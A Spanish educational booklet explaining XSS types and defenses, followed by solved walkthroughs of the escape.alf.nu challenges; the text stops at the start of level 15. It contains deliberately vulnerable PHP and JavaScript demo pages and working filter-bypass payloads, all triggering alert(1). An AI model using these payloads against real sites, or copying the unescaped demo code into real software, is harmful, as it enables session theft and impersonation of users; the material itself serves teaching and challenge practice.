Alert(1) to Win!

16 ejercicios resueltos y explicados sobre XSS

Autores: Daniel Díez y Pepe Vila

Twitter: @DaniLabs y @cgvwzq

Licencia

Nota legal

Toda la información proporcionada en este documento tiene como único objetivo un fin educativo.

Los autores no se hacen responsable del mal uso se le pueda dar a la información disponible en este documento.

Índice

¿Qué es un XSS?

Los ataques de Cross-Site-Scripting han sido muy conocidos desde hace muchos años, el ***primer paper***[01] sobre el tema es del año 2002 y todavía hoy siguen siendo los más comunes (top 3) según ***OWASP[02].*** Además, debido a la tendencia de llevar todos los servicios a la web, cada vez son más peligrosos ya que no solo ha aumentado la superficie de ataque sino que somos capaces de realizar tareas y acceder a información crítica.

A resumidas cuentas, se trata de un ataque que explota la confianza de un usuario en el servidor web, permitiendo ejecutar código JavaScript en el navegador de la víctima bajo el contexto de su sesión en el dominio de la web vulnerable.

Esto significa que el atacante será capaz de realizar cualquier acción que pudiera realizar el usuario legítimo (a través de envíos de formularios o peticiones AJAX), acceder a cualquier información visible para la víctima, robar sesiones y llevar a cabo una suplantación, modificar la apariencia de la página para forzar al usuario a realizar acciones o para simplemente mermar la reputación del sitio. En definitiva, las posibilidades son infinitas, basta con ver ***el ejemplo de Samy[03],*** el primer gusano XSS que infectó más de 1 millón de usuario de MySpace en menos de 24 horas (agregando a su autor como amigo y replicándose a través de los muros de las víctimas).

En función de las técnicas y el entorno de explotación, se clasifican en cuatro subgrupos: reflected, stored, dom y mutated.

XSS Reflected

La primera variante, y posiblemente la más fácil de evitar, son los conocidos como XSS reflejados. El fallo radica en el incorrecto o inexistente saneamiento de los datos de entrada del usuario: ya sean parámetros GET, POST, cookies, cabeceras... Y que de algún modo son mostrados, o reflejados, en la página.

Veamos un ejemplo:

```
http://hendrix-
http.cps.unizar.es/~a594190/xss/reflected.php?name=Manuelo
```

Código fuente de la página.

```
<?php
    header('X-XSS-Protection: 0');
?>
<!doctype html>
<html>
<head>
    <meta charset="utf-8" />
    <title>Demo reflected xss</title>
</head>
<body>
    <?php echo "Bienvenido, ".$_GET['name']."."; ?>
</body>
</html>
```

Como se puede ver, el servidor devuelve una página con el valor del parámetro GET 'name' incrustado en el cuerpo (ver código fuente de la página), indistinguible del resto del html que procesa nuestro navegador. De modo que alguien podría tratar de insertar el siguiente valor:

```
<img+src=x+onerror=alert(1)>
```

```
http://hendrix-
http.cps.unizar.es/~a594190/xss/reflected.php?name=<img+src=x+onerro
r=alert(1)>
```

Esto nos devolvería una página HTML con un tag script ejecutando la alerta.

Y del mismo modo, podría incluirse un script remoto que ejecute cualquier código arbitrario. Aunque este es un vector muy simple de ejemplo, hay cientos de formas de ejecutar JavaScript en un navegador. Veremos algunas más adelante.

La manera de llevar a cabo el ataque consiste en forzar a la víctima a visitar el enlace malicioso a la página vulnerable. Aunque muchas veces no hace falta hacer click en un enlace, simplemente visitando una página que creamos inofensiva, puede re-direccionarnos o cargar en un iframe oculto la página con el XSS y ejecutar el código malicioso.

Desafortunadamente, no existe una solución única para evitar este tipo de ataques. Dependiendo de la aplicación, framework o lenguaje usado, vamos a tener unas herramientas u otras, y unas necesidades determinadas. Y aun así, dependiendo del contexto en el que se dé la inyección, vamos a tener que preocuparnos de unas cosas o de otras.

Vamos a ver tres posibles contextos de ejemplo: HTML, atributo y event handler. Aunque hay que tener en cuenta hay muchos más.

En el primero, que es el del ejemplo, va a ser necesario abrir una etiqueta para poder ejecutar código, ya sea <script>, <iframe>, <img>, etcétera. De modo que si codificamos la apertura de éstas '<' y '>', a priori no debería ser posible explotar el XSS reflejado. Lo más habitual es usar las entidades HTML equivalentes, eso es: '<' = '<' y '>' = '>'.

En PHP se suele utilizar la función 'htmlentities()', que podemos ver en funcionamiento aquí.

```
<?php
    header('X-XSS-Protection: 0');
?>
<!doctype html>
<html>
<head>
    <meta charset="utf-8" />
    <title>Demo reflected xss</title>
</head>
<body>
    <?php echo "Bienvenido, ".htmlentities($_GET['name'], ENT_NOQUOT
ES, "UTF-8").".";  ?>
</body>
</html>
```

Un ejemplo de la vulnerabilidad sería el siguiente:

```
http://hendrix-
http.cps.unizar.es/~a594190/xss/reflected2.php?name=<img+src=x+onerr
or=alert(1)>
```

Es necesario leer la documentación de estas funciones y utilizarlas correctamente, ya que omitir algún parámetro puede llevar a un mal filtrado y por lo tanto a que el atacante logre su objetivo y evada nuestro filtro.

Otra solución puede ser eliminar directamente los caracteres peligrosos con una expresión regular, pero hay que tener muy claro QUÉ es peligroso y DÓNDE.

Muchas aplicaciones utilizan sus propios filtros para bloquear o eliminar el contenido peligroso, pero cualquier solución basada en listas negras va a fallar. Y esto es un axioma cuando hablamos de seguridad web, especialmente cuando hablamos de navegadores.

Existen también soluciones a nivel de firewall o WAF (Web Application Firewall), que directamente buscan patrones peligrosos de inyección en las peticiones y las bloquean si dan positivo (modsecurity para Apache por ejemplo). Pero nunca hay que confiar completamente en estas soluciones y obviar así la seguridad y buen diseño de nuestra aplicación. Hay que considerarlas simplemente como una capa de defensa más a un buen diseño e implementación.

También hay que destacar las soluciones que han aportado estos últimos años los principales navegadores. Filtros Anti-XSS incorporados por defecto y que pueden llegar a complicar bastante el trabajo a los malos, pero de nuevo no se puede legar toda la seguridad en éstos.

La última alternativa que se está empezando a extender y cubre tanto este como otros ***tipos de ataques es CSP[04]*** (Content Security Policy). En este caso el servidor solo tiene que devolver una cabecera con unas políticas definidas y los navegadores se encargarán de restringir las violaciones (aunque como se ha visto en ***algunos estudios[05],*** tampoco es una solución perfecta).

El siguiente contexto sería cuando se está dentro de un atributo, por ejemplo:

```
<a href="/foo/[[INYECCION]]">Redirige</a>
```

En este caso, el atacante necesitaría inyectar unas comillas dobles para cerrar el atributo, de modo que necesitaremos codificar o eliminar esas comillas. La función de antes, tiene un flag que va a hacer eso precisamente, de modo que leyendo la documentación conseguiríamos que "" se convierta en '"'.

Un último contexto, y bastante más peligroso, es cuando tenemos una inyección en un atributo que es un evento:

```
<a href="#" onclick="cargar('foo', '[[INYECCION]]')">Click</a>
```

En este caso hay varios aspectos a tener en cuenta. El primero es que estamos, en contexto de script ya, es decir, si salimos del string podremos escribir directamente código.

```
[[INYECCION]] = ',alert(1),'
```

Esto provocaría una alerta cuando el usuario haga click en el enlace. Podemos pensar que convirtiendo las comillas simples y dobles a su entidad ya estaremos seguros, pero:

```
[[INYECCION]] = &apos;,alert(1),&apos;
```

También hará que se ejecute nuestro código, esto se debe a que el parser HTML va a deshacer las entidades del atributo antes de pasárselas al motor JavaScript. Una posible solución, sería convertir los caracteres no alfanuméricos a su representación hexadecimal y que:

```
[[INYECCION]] = \x27\x2calert\x281\x29x2c\x27
```

Con estos tres ejemplos, queda claro que resultará muy difícil definir una buena solución adhoc basada en listas negras que funcione bien en todos lados. Y es imprescindible tenerlo en cuenta cuando queramos diseñar un sistema seguro.

XSS Stored

Ya deberíamos tener una perspectiva más o menos clara de que es un XSS, y cómo puede afectarnos como usuarios o como desarrolladores. El punto flojo del anterior es que hay muchas alternativas para protegernos, y sobretodo que puede resultar más o menos fácil detectar si un script está siendo reflejado de la URL u otro sitio. Además el atacante tiene la necesidad de que el usuario navegue a su URL maliciosa para lograr la ejecución.

Con un XSS persistente, lo que estamos consiguiendo es que sea la propia infraestructura la que almacene nuestra inyección y la devuelva a los usuarios del mismo modo que el resto de contenido legítimo.

Pensemos en un sistema de comentarios, donde cualquier usuario puede comentar.

Estos comentarios serán almacenados en una base de datos o cualquier otro sistema de persistencia, y el resto de usuarios verá ese contenido cuando soliciten la página. Si logramos que nuestro comentario contenga un XSS, todos los usuarios que visiten la página van a ejecutar nuestro código.

Aquí podemos ver un ejemplo muy simple para practicar:

```
<!doctype html>
<html>
<head>
    <meta charset="utf-8" />
    <title>Demo Persistente XSS</title>
</head>
<body>
    <h1>Comentarios</h1>
<?php
    include "config.php";
    // Si hay contenido POST insertamos el comentario
    if (!empty($_POST['titulo']) && !empty($_POST['texto'])) {
        // En el input solo filtramos para SQL injection, no tiene
        // sentido para evitar un XSS en un salida que no conocemos
        $titulo = mysql_real_escape_string($_POST['titulo']);
        $texto = mysql_real_escape_string($_POST['texto']);

        $query = sprintf("INSERT INTO comentario (titulo, texto) VALU
ES ('%s', '%s')", $titulo, $texto);

        $rows = @mysql_query($query);

        if ($rows) {
            echo "<div>Comentario insertado! <a href=\"\">Volver</a><
/div>";
        } else {
            echo "<div>Error. <a href=\"\">Volver</a></div>";
        }
    } else {
?>
    <form method="POST">
        <input type="text" name="titulo" required /><br />
        <textarea name="texto"></textarea><br />
        <input type="submit" /><input type="reset" />
    </form>
    <hr>
<?php
        $query = @mysql_query("SELECT * FROM comentario LIMIT 0,5");
        while ($row = mysql_fetch_array($query, MYSQL_BOTH)) {
            // Aqui faltarÃa filtrar el output con htmlentities
            echo "<div id=\"".$row['id']."\">";
            echo "<h3>".$row['titulo']."</h3>";
            echo "<p>".$row['texto']."</p>";
            echo "</div>";
        }
        mysql_free_result($query);
    }
?>
    <hr>
</body>
</html>
```

Véase el ejemplo funcionando aquí:

```
http://hendrix-http.cps.unizar.es/~a594190/xss/persistent.php
```

En este caso, la solución pasa por aplicar los mismos procedimiento de antes, pero la duda que surge es si filtramos la entrada del usuario, la salida de la persistencia o ambas. En principio, la única que tiene sentido es la segunda.

La persistencia puede ser compartida por distintos servicios para distintas plataformas, de modo que no tiene sentido almacenar un contenido filtrado por su potencial peligro al visualizarse en un navegador web si va a verse a través de un email o de una aplicación móvil.

Del mismo modo, muchas plataformas fallan porque cada vez que se guarda un perfil, por ejemplo, se filtra el contenido y se guarda codificado, al editarlo se nos muestra codificado y se vuelve a codificar, por lo que va creciendo absurdamente de tamaño: '>' pasa a ser '>', y después '>' y después '>', etc.

Utilizar ambas es igual de absurdo y nos obliga a mantener una consistencia entre la entrada y la salida. Lo que no es nada escalable.

Por eso hay que suponer no solo que cualquier entrada del usuario es peligrosa y debe ser filtrada, sino que cualquier dato que obtenemos de persistencia y se muestra al usuario a través de un navegador, puede ser potencialmente peligroso incluso si el usuario no ha introducido ningún dato allí (como con una base de datos legada que no tenía filtros).

Piensa mal y acertarás. Codifica la salida convenientemente.

Document Object Model (DOM)

Si hasta ahora el problema venía del servidor o de como éste servía el contenido incluyendo datos controlados por el usuario. Los DOM based dependen solo del cliente, y son bastante más complicados de entender y de detectar (sin buenos conocimientos de JavaScript).

El DOM (Document Object Model) de una página, es la interfaz o API que usa el navegador para representar, acceder y modificar los objetos. Entendiendo como objetos, cualquier elemento de la interfaz: desde el título de la página a una imagen o un botón.

Gracias al DOM, somos capaces de añadir contenido dinámicamente a una página a través de JavaScript, de asociar acciones a eventos como el click del ratón o de redirigir la página a otro enlace (ya que el 'location' es un objeto más).

De modo que volvemos a tener el mismo problema que al principio, no podemos confiar en ningún dato manipulable por el usuario, o lo que es lo mismo, los 'sources'. Y hay que vigilar cuando modifiquemos un 'sink', un punto crítico que puede ser aprovechado para modificar el flujo o lógica del programa.

Hay una wiki entera definiendo los posibles sources y sinks[06], así que no vamos a entrar en detalles. Un posible source, puede ser de nuevo la URL, y un sink típico son las funciones 'eval' o 'write'. Podéis ver un ejemplo sencillo aquí:

```
<!doctype html>
<html>
<head>
        <meta charset="utf-8" />
        <title>Demo DOM xss</title>
</head>
<body>
        <div id="message"></div>
        <script>
        window.addEventListener('hashchange', function() {
                document.getElementById('message').innerHTML =
'Welcome, ' + location.hash.slice(1);
        })
        </script>
</body>
</html>
```

Una URL de ejemplo maliciosa podría ser la siguiente:

```
http://hendrix-http.cps.unizar.es/~a594190/xss/dom.html#<img src=x
onerror=alert(1)>
```

Una de las principales diferencias de la mayoría de DOM XSS, es que el servidor no se va a enterar de que alguien está atacando a sus usuarios, ya que no le llega ninguna petición anormal (en este caso la parte hash de una URL no se envía) y además pueden verse afectadas aplicaciones web offline.

Si bien es cierto que algunas aplicaciones sobrescriben algunas funciones

JavaScript para enviar logs al servidor cuando son llamadas y así tener feedback de lo que sus usuarios están haciendo.

La solución a este tipo de ataques es a priori programar código seguro teniendo en cuenta los sources y sinks, como bien hemos dicho. Y aunque hay algunos papers con propuestas para erradicar los XSS a través del propio cliente, todavía no hay ninguna solución global lo suficientemente extendida como para considerarla.

Básicamente la mayoría de las soluciones pasan por hacer un sandbox y que no se puedan acceder a los objetos globales ni a los métodos o constructores verdaderos, dejando disponible solo una pequeña API segura.

XSS Mutated

Sobre esta última especie hay poco escrito, y realmente es un caso muy difícil de entender y mucho más difícil de prevenir. Véase una referencia ***al paper de Mario Heiderich[07***] para mayor detalle.

En esencia, consiste en utilizar las propiedades de innerHTML, atributo ampliamente utilizado en muchos frameworks JavaScript, que convierte un string con código HTML en parte del DOM parseando las etiquetas y atributos. Para ayudar a los desarrolladores, el parser es poco estricto e intenta corregir posibles errores, por eso, puede darse el caso de que una entrada teóricamente inofensiva y que pasaría nuestros filtros, mute al introducirse al innerHTML y nos dé una salida maliciosa.

Un ejemplo del paper es el siguiente.

Entrada:

```
<img src="test.jpg" alt="``onload=xss()" />
```

Salida:

```
<IMG alt=`` onload=xss() src="test.jpg" />
```

Aunque estos vectores de ataque serán normalmente dependientes del navegador, es interesante tenerlos en cuenta con la expansión de frameworks MWC (Model-View-Controller) para JavaScript como AngularJS.

Conclusión

Durante bastante tiempo los XSS se han visto como un ataque de criticidad baja y por ello los desarrolladores no ponían esfuerzos en solventarlos, sin embargo, ya existe una cierta concienciación por parte de las grandes firmas y la experiencia nos ha enseñado que no era así.

En este capítulo hemos podido ver una pequeña introducción de en qué consisten y algunos ejemplos, quedando claro que es bastante sencillo solucionar una de estas vulnerabilidades. Y en cualquier caso, el coste no será nunca mayor que el de dejar a nuestros usuarios expuestos.

Ahora que hemos entendido que es un XSS y los diferentes tipos que existen, pasemos a la práctica.

En las siguientes páginas analizaremos cada uno de los retos sobre XSS que la web escape.alf.nu nos propone, con el objetivo de comprender los filtros ahí expuestos y practicar con ellos.

Reto 0

Código

```
function escape(s) {
 // Warmup.
 return '<script>console.log(" '+s+' ");</script>';
}
```

Vector de ataque

```
"+alert(1))//
```

Explicación

En este primer código no existe ningún tipo de filtrado y por lo tanto la variable *s* ejecutará el vector de ataque introducido.

Debemos colocar la función **alert(1)** entre comillas dobles " para escapar del contexto de cadena y así poder ejecutarlo. Además hay que concatenar la función **alert(1)** con el símbolo **+** a la cadena.

Reto 1

Código

```
function escape(s) {
 // Escaping scheme courtesy of Adobe Systems, Inc.
 s = s.replace(/ " /g, ' \\" ');
 return '<script>console.log(" ' + s + ' ");</script>';
}
```

Vector de ataque

```
\");alert(1)//
```

Explicación

En este caso nos encontramos con un pequeño filtrado de caracteres, que se realiza con la función ***string.replace de JavaScript[08]*** que sustituye " por \"

Primeramente debemos agregar \" cuyo resultado después del filtrado es \\" , con el fin de conseguir un cambio de contexto y poder ejecutar código arbitrario. Ahora añadimos); para cerrar el código original y a partir de aquí ya hemos evadido el contexto de cadena.

Así que por último agregamos la función **alert(1)** seguida de dos contra-barras // para indicar un comentario y que ese código no lo ejecute. También sería posible sustituir las dos contra-barras por el cierre de la etiqueta </script> Aunque de esa forma tenemos más caracteres en el vector de ataque.

Reto 2

Código

```
function escape(s) {
 s = JSON.stringify(s);
 return '<script>console.log(' + s + ');</script>';
}
```

Vector de ataque

```
</script><script>alert(1)//
```

Explicación

En este reto nos encontramos con la función ***JSON.stringify[09]*** cuyo fin es convertir una cadena de JavaScript en una ***estructura JSON[10].*** En este caso no recibe más argumentos, por lo tanto no hay filtrado de datos.

Al recibir simplemente la cadena JavaScript y convertirla en una estructura JSON, podemos inyectar el código malicioso directamente.

El primer objetivo es cerrar la etiqueta </script> y posteriormente agregar la etiqueta <script> con la función **alert(1)** dentro de ella para que sea ejecutada. Para cerrar la etiqueta introducimos las dos contra-barras //

Reto 3

Código

```
function escape(s) {
 var url = 'javascript:console.log(' + JSON.stringify(s) +')';
 console.log(url);

 var a = document.createElement('a');
 a.href = url;
 document.body.appendChild(a);
 a.click();

}
```

Vector de ataque

```
%22+alert(1))//
```

Explicación

En este nivel vemos la función JSON.stringify dentro de una cadena, que genera una variable llamada URL. Posteriormente esta variable es utilizada como atributo a.href en un ***elemento de tipo document de JavaScript[11]*** , la variable a.href se relaciona con la URL del documento cuya codificación es **Percent-Encoding [12]**. Es decir, un elemento del tipo " es codificado y su resultado será %22

Para solucionar este reto nos apoyamos en esa codificación, por lo que primeramente tenemos que agregar %22 (que NO será codificada) y una de esta forma escaparemos del contexto de cadena. Ahora concatenamos la función **alert(1)** con el símbolo + y para finalizar nuestro vector de ataque agregamos)//

Reto 4

Código

```
function escape(s) {
 var text = s.replace(/</g, '&lt;').replace('"', '&quot;');

 // URLs
 text = text.replace(/(http:\/\/\S+)/g,
'<a href="$1">$1</a>');

 // [[img123|Description]]
 text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g,
'<img alt="$2" src="$1.gif">');

 return text;
}
```

Vector de ataque

```
[[a|""onload="alert(1)]]
```

Explicación

En esta ocasión nos volvemos a encontrar con la función string.replace de JavaScript, la cual sustituye todos los < por < y únicamente la primera comilla doble " por "

En este reto nos exigen el siguiente esquema para introducir los datos [[img123|Description]]

La primera parte corresponde destino de la imagen (src) y la segunda a su descripción (alt).

Vamos a centrarnos en la segunda parte del esquema (Description), es decir, la etiqueta alt de la imagen.

Primeramente hay que agregar dos comillas dobles ", con el fin de que la primera será sustituida por la función string.replace pero la segunda la función la evitará y no será sustituida.

Ahora en la etiqueta alt tendríamos "" , es decir, quedaría un código similar a este:

```
<img alt=" &quot;" " src="a.gif">
```

Permitiéndonos aislar nuestro código y poder ejecutar nuestro **alert(1)**

Pero para ello, hay que introducir el ***evento onload de JavaScript[13]*** y le asignamos que ejecute la función **alert(1)** Dicha función tiene que ir entre comillas dobles " para que el evento lo reconozca.

Reto 5

Código

```
function escape(s) {
 // Level 4 had a typo, thanks Alok.
 // If your solution for 4 still works here,
 // you can go back and get
 // more points on level 4 now.

 var text = s.replace(/</g, '&lt;').replace(/"/g, '&quot;');
 // URLs
 text = text.replace(/(http:\/\/\S+)/g,
'<a href="$1">$1</a>');

 // [[img123|Description]]
 text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g,
'<img alt="$2" src="$1.gif">');

 return text;

}
```

Vector de ataque

```
[[a|http://onload='alert(1)']]
```

Explicación

La solución de este reto es prácticamente igual al anterior, salvo que en este caso se reemplazan todas las comillas dobles " por " y no solo la primera como en el caso previo.

Al igual que en el cuarto reto nos apoyamos en la segunda parte, es decir en Description, la cual recibe el parámetro http:// y el contenido será almacenado en la variable $1. Debido a que no se filtra el contenido que sigue al parámetro http:// , este será nuestro vector de ataque.

Ahora debemos construir nuestro vector de ataque, en el cual utilizaremos el evento onload de JavaScript para nuestro **alert(1)** y este deberá ir entre comillas simples, en vez de comillas dobles, para evitar que sean sustituidas.

Reto 6

Código

```
function escape(s) {
 // Slightly too lazy to make two input fields.
 // Pass in something like "TextNode#foo"
 var m = s.split(/#/);

 // Only slightly contrived at this point.
 var a = document.createElement('div');
 a.appendChild(document['create'+m[0]].apply(document,
m.slice(1)));

 return a.innerHTML;

}
```

Vector de ataque

```
Comment#><svg/onload=alert(1)
```

Explicación

En este reto la clave está en revisar las funciones DOM que empiezan por "create" y no tengan sentencias de escape (para evitar el filtrado de caracteres). La opción más corta es "createComment" por lo tanto, simplemente con agregar Comment#foo sería suficiente.

En nuestro caso utilizamos un elemento svg cargando en el evento onload nuestro **alert(1)** que será ejecutado sin ningún problema.

Reto 7

Código

```
function escape(s) {
  // Pass inn "callback#userdata"
  var thing = s.split(/#/);

  if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
  var obj = {'userdata': thing[1] };
  var json = JSON.stringify(obj).replace(/</g, '\\u003c');

  return "<script>" + thing[0] + "(" + json +")</script>";
}
```

Vector de ataque

```
'#',alert(1)//
```

Explicación

Una vez más nos encontramos con una estructura JSON y la dificultad de este reto se resumen en un simple cambio de contexto.

En primer lugar deberíamos "encerrar" los paréntesis, por lo que utilizaremos comillas simples para ello. Automáticamente la estructura JSON lo corregirá y transformará nuestro **alert(1)** en una cadena la cual será ejecutada.

Reto 8

Código

```
function escape(s) {
 // Courtesy of Skandiabanken
 return '<script>console.log("' + s.toUpperCase() + '")</script>';
}
```

Vector de ataque

```
</script><script src=data:,%61%6c%65%72%74(1)>
```

Explicación

La dificultad de este reto es que convierte a mayúsculas cualquier input, y aunque resulta fácil escapar del contexto de string y ejecutar código arbitrario, éste se verá limitado a letras mayúsculas. En un lenguaje ***case insensitive[14]*** evidentemente nos daría igual ejecutar **alert(1**) o **ALERT(1),** pero en JavaScript la segunda alternativa lanzará un ALERT is not defined.

Aunque hay otras alternativas para intentar sortear el problema; como solo utilizar caracteres que no se vean afectados por la función toUpperCase. Nosotros vamos a aprovecharnos del hecho de que HTML sí que es *case insensitive*, de modo que podemos cerrar y abrir cualquier etiqueta sin problemas, en este caso el <script>, y cargar contenido externo que no será convertido a mayúsculas.

Además, para acortar algunos bytes y no depender de ningún host remoto hemos usado un pequeño truco y la capacidad del navegador de aplicar el ***URLDecode[15]*** a las pseudo urls. Pero tranquilamente podríamos haber usado un dominio de pocos bytes y dejar un fichero con el **alert(1)** en la raíz.

Reto 9

Código

```
function escape(s) {
 // This is sort of a spoiler for the last level :-)
 if (/[\\<>]/.test(s)) return '-';
 return '<script>console.log("' + s.toUpperCase() + '")</script>';
}
```

Vector de ataque

```
"+(_=!1+URL+!0,[][_[8]+_[11]+_[7]+_[8]+_[1]+_[9]])()[0][_[1]+_[2]+_[
4]+_[38]+_[9]](1)+"
```

Explicación

En este caso no podemos usar etiquetas HTML de modo que la única opción es usar código que no se vea afectado por la función toUpperCase, y en este caso código no ***alfanumérico[16]*** más la función URL, que al ser en mayúsculas no nos da problemas.

El código utiliza un par de trucos para usar el ***menor número posible de bytes[17]:*** referencia a window mediante (0,[]["concat"])(), !1+URL+!0 nos devuelve el string "falsefunction URL() { [native code] }true" que permite acceder a las letras de "concat" y "alert" con el menor número de bytes en índices posibles.

Y en el fondo acabamos ejecutando window["alert"](1).

Reto 10

Código

```
function escape(s) {
  function htmlEscape(s) {
    return s.replace(/./g, function(x) {
       return { '<': '&lt;', '>': '&gt;', '&': '&amp;', '"':
         '&quot;', "'": '&#39;' }[x] || x;
     });
  }


  function expandTemplate(template, args) {
    return template.replace(
        /{(\w+)}/g,
        function(_, n) {
           return htmlEscape(args[n]);
         });
  }

  return expandTemplate(
    "                                                    \n\
      <h2>Hello, <span id=name></span>!</h2>             \n\
      <script>                                           \n\
         var v = document.getElementById('name');        \n\
         v.innerHTML = '<a href=#>{name}</a>';           \n\
      <\/script>                                         \n\
    ",
    { name : s }
  );
}
```

Vector de ataque

```
\74svg onload=alert(1)
```

Explicación

En este nivel tenemos una función que convierte algunos caracteres peligrosos a su ***HTML Entity [18]*** respectiva, y otra de templating que básicamente hace un replace de una variable en el código.

La parte vulnerable está en la línea

```
v.innerHTML = '<a href=#>{name}</a>'
```

Así que vamos a insertar el vector más corto que conozcamos:

```
<svg onload=alert(1)>
```

Sin embargo, la ***función escape [19]*** codifica la apertura de tags como hemos dicho así que hay que aprovecharse de la posibilidad de JavaScript de representar un carácter en un string escapando su representación hexadecimal, octal o unicode, es decir:

```
\x3csvg onload=alert(1)\x3e
```

Sería un posible vector, sin embargo, en este caso \x3c == \74, puesto que la representación en octal ocupa un byte menos, vamos a aprovecharlo para ahorrar. Además, el tag de cierre se puede obviar colocando un espacio en blanco después del valor del atributo onload y de este modo HTML interpretará la etiqueta de cierre como dos atributos en blanco < y a, respectivamente. Y ahora hemos ahorrado 3 bytes.

Reto 11

Código

```
function escape(s) {
 // Spoiler for level 2
 s = JSON.stringify(s).replace(/<\/script/gi, '');
 return '<script>console.log(' + s + ');</script>';
}
```

Vector de ataque

```
</sc</scriptript><script>alert(1)
```

Explicación

Aquí tenemos que conseguir cerrar la etiqueta de <script> para poder abrir otro y ejecutar código, pero hay una expresión regular que elimina la aparición de la cadena '<script', así que nos aprovechamos de este reemplazo para hacer que la cadena que no debería funcionar nos dé la cadena que buscamos y la etiqueta de cierre.

Reto 12

Código

```
function escape(s) {
 // Pass inn "callback#userdata"
 var thing = s.split(/#/);

 if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
 var obj = {'userdata': thing[1] };
 var json = JSON.stringify(obj).replace(/\//g, '\\/');
 return "<script>" + thing[0] + "(" + json +")</script>";
}
```

Vector de ataque

```
'#',alert(1)<!--
```

Explicación

En este reto podemos ver que nuestro input se va a insertar en dos puntos distintos de manera que foo#bar nos dará foo({"userdata":"bar"}), la primera parte solo nos permite letras del abecedario, corchetes y comillas simples, mientras que la segunda va a ser correctamente escapada con el método JSON.stringify y puesto que este último no escapa las comillas simples, podemos cambiar de contexto y ejecutar código.

Nuestro vector de ataque daría la siguiente salida:

```
'({"userdata":"',alert(1)<!--"})
```

Básicamente hemos roto la llamada callback y el objeto y estamos teniendo una cadena y seguida del **alert(1)**. La parte final es un ***comentario HTML[20]***, puesto que los separadores son escapados correctamente (/ → \/) y si no nos daría un error de sintaxis.

Reto 13

Código

```
function escape(s) {
 var tag = document.createElement('iframe');
 // For this one, you get to run any code you want,

 // but in a "sandboxed"  //iframe.

 // http://print.alf.nu/?html=...

 // just outputs whatever you pass in.

 // Alerting from print.alf.nu won't count;

 // try to trigger the one below.
 s = '<script>' + s + '<\/script>';
 tag.src = 'http://print.alf.nu/?html=' + encodeURIComponent(s);
 window.WINNING = function() { youWon = true; };
 tag.onload = function() { if (youWon) alert(1); };
 document.body.appendChild(tag);
}
```

Vector de ataque

```
name=”youWon”
```

Explicación

Este nivel no consistía en evadir ningún filtro. Como dice en los comentarios, nos permiten ejecutar cualquier código en un iframe *sandboxed*. Teóricamente estaremos en un entorno controlado, de modo que no podremos afectar al nivel por encima que es el que debe ejecutar la alerta.

Después de ejecutarse nuestro código en ese entorno controlado, se va a disparar el evento *onload* con:

```
if (youWon) alert(1);
```

Pero puesto que la variable youWon no está declarada, la expresión dará false y no se ejecutará el código.

También podemos ver que hay una función global WINNING que define youWon a true, pero no vamos a poder acceder a ella debido al ***Same Origin Policy (SOP) [21]***. Así que para resolver esta prueba podemos evadir el SOP, o usar alguna otra característica del DOM para que la condición sea cierta en el momento de evaluarla y lanzar nuestra alerta. Vamos a optar por la segunda opción.

Desde el objeto global se puede acceder a un iframe por su nombre, es decir, si tenemos un iframe con su atributo window.name="foo", desde la ventana padre: window.frames[0] === window.foo.

Así que si definimos desde el iframe la variable name="youWon", cuando desde la padre se pregunte por esa variable aparecerá como declarada, con que la expresión evaluará cierto y se ejecutará nuestra alerta. ¡Y hemos ganado!

Reto 14

Código

```
function escape(s) {
  function json(s) {
        return JSON.stringify(s).replace(/\//g, '\\/');
  }
  function html(s) { return s.replace(/[<>"&]/g, function(s) {
                        return '&#' + s.charCodeAt(0) + ';'; }); }

return (
    '<script>' +
      'var url = ' + json(s) + '; // We\'ll use this later ' +
    '</script>\n\n' +
    '  <!-- for debugging -->\n' +
    '  URL: ' + html(s) + '\n\n' +
    '<!-- then suddenly -->\n' +
    '<script>\n' +
    '  if (!/^http:.*/.test(url))
              console.log("Bad url: " + url);\n' +
    '  else new Image().src = url;\n' +
    '</script>'
  );
}
```

Vector de ataque

```
if(alert(1)/*<!--<script>
```

Explicación

Para solucionar este reto, es necesario conocer una ***curiosa propiedad del parser de HTML5[22].***

El parser utiliza un proceso de tokenización y una máquina de estados finita para conocer que contexto se está procesando en cada momento. Si el parser se encuentra en el estado asociado a un bloque JavaScript y procesa los tokens "<!--<script>" pasara por una serie de estados hasta alcanzar el estado definido como "double escaped state" en el cual permanecerá hasta procesar los tokens "</script>" que moverán la máquina de estados a "script data escaped".

Este estado permitirá procesar cualquier cadena inmediatamente posterior a la cadena donde inyectamos nuestro token de cambio de estado "<!--<script>" como código JavaScript. El único requerimiento que tenemos para utilizar este vector de ataque es que exista o podamos inyectar un cierre de comentario "-->" para que el parser no arroje una excepción por error de sintaxis.

Resumiendo, si podemos inyectar una cadena arbitraria en un bloque JavaScript y existe o podemos inyectar un cierre de comentario, podremos procesar el contenido posterior a nuestro punto de inyección como código JavaScript.

En este reto concreto, nuestro objetivo será procesar el código HTML (URL:xxx) como código JavaScript ya que podemos inyectar código en esta porción de la página (en un principio HTML).

Para ello debemos habilitar el estado "doublé escaped state" y jugar con comentarios para eliminar todas las partes que no nos interesen.

La solución final será:

```
alert(1);/*<!--<script>*/if(/a//*
```

Veamos que código le pasa el parser de HTML al motor de JavaScript en este caso:

```
<script>var url = "alert(1);\/*<!--<script>*\/if(\/a\/\/*"; // We'll use this later </script>

<!-- for debugging -->
URL: alert(1);/*&#60;!--&#60;script&#62;*/if(/a//*

<!-- then suddenly -->
<script>
 if (!/^http:.*/.test(url)) console.log("Bad url: " + url);
 else new Image().src = url;
</script>
```

Después de aplicar las distintas funciones de codificación del filtro, el parser de HTML recibe el código mostrado arriba. Debido a que se trata de un documento HTML5, el parser tokenizará el documento e inicializara la máquina de estados para reconocer los distintos contextos.

Cuando el parser procese la primera cadena (mostradas en verde), el parser se moverá al estado “double escaped state” y por lo tanto, cualquier texto posterior al final de la cadena donde inyectamos nuestro payload, se tratara como JavaScript.

Como vemos en el código, el motor de JavaScript recibirá un comentario de línea iniciado por “//” y un comentario HTML (<!-- -->) que ignorara. A continuación recibe declaración URL:alert(1); que ejecutara como código JS valido y mostrara el popup que buscábamos.

A continuación procesara un comentario de línea (/* … */) y acto seguido encontrará un “if” que usa una expresión regular como condición. Esta expresión regular estará interrumpida aunque seguirá siendo válida por varios comentarios.

El resto del código (en azul) pertenece a la página original.

Reto 15

Código

```
function escape(s) {
  return s.split('#').map(function(v) {
